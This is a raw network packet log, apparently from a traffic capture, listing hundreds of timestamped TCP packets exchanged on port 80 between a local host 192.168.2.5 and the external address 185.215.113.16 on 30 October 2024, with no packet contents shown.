Oct 30, 2024 21:55:24.528136969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528165102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.528270006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.530684948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530697107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530719995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530731916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530742884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530761003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.530786991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.530800104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530812025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530822992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530838013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.530846119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530870914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.530894041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.530960083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.530998945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531012058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531080961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531091928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531102896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531137943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.531209946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.531388998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531399965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531409025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531452894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.531459093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531472921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531482935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.531502008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.531748056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.600148916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.600172997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.600186110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.600270033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.601646900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.601711035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.601722002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.601737022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.601916075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.602602959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.602643967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.602657080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.602783918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.603157043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.603168964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.603182077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.603219032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.603241920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.642618895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.642628908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.642638922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.642678976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.642688990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.642704010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.642765999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.645384073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645436049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645447016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645600080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645612955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645664930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645674944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645679951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645689011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645689011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.645694971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645699978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.645701885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645718098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645741940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.645741940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.645756960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645767927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.645795107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.645853043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.646018982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646029949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646039963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646050930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646115065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.646162987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646229982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.646241903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646253109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646264076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646274090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646301031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.646394014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.646464109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646476030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646486044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.646537066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.646537066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649120092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649240017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649250984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649333954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649343967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649355888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649399996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649449110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649460077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649471045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649480104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649491072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649499893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649501085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649544001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649544001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649574041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649584055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649595022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649605036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649615049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649625063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649632931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649636984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649646997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649650097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649663925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649672985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.649692059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649692059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.649867058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.672872066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.699810028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.718847990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.718858957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.718923092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.718965054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.719021082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.719266891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.719300985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.719317913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.719330072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.719386101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.722218990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722307920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.722315073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722327948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722338915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722351074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722363949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722376108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.722399950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.722399950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.722484112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.722521067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760431051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760481119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760489941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760529041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.760569096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760580063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760581017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.760591984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.760727882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763204098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763272047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763283014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763293028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763322115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763322115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763526917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763540983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763552904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763564110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763585091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763624907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763636112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763672113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763827085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763838053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763849020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763873100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763873100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763900995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763911963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763922930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763936043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763946056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.763953924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763953924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.763962030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764003038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764003038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764092922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764219999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764230013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764275074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764287949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764297962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764342070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764342070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764342070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764353037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764364958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764375925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764413118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764427900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764440060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764491081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764569044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764627934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764637947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764652967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.764656067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.764698029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.766983032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767069101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767079115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767088890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767107964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767118931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767118931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767119884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767133951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767146111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767194986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767194986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767426968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767440081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767452002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767462969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767474890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767491102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767499924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767499924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767512083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767605066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767618895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767632008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767642975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767656088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.767678022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767712116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.767712116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.769335985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769421101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769438028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769449949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769459963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769473076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769478083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.769485950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.769511938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.769511938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.812916040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.837317944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.837338924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.837352037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.837363005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.837374926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.837385893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.837402105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.837455988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.840302944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840409040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840420961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840431929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840441942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840456009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840466022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840468884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.840468884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.840476990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.840526104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.840578079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.878734112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.878783941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.878796101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.878873110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.878890991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.878902912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.878994942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.881613970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.881625891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.881637096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.881685972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.881700993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.881712914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.881722927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.881726980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.881759882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.882128954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882141113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882152081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882194996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.882226944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882245064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882256985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.882260084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882272959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882283926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882288933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.882297039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.882343054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.882405996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.882920980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883018017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883028984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883039951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883052111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883064032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883075953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883088112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.883088112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.883102894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.883183002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883194923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883205891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883215904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883230925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883243084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883251905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.883256912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883269072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883276939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.883280993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883294106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.883305073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.883390903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.885165930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885205984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885216951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885245085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.885283947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.885288000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885299921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885309935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885349989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.885416985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885427952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885438919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885461092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.885468006 CET	49712	80	192.168.2.5	185.215.113.16
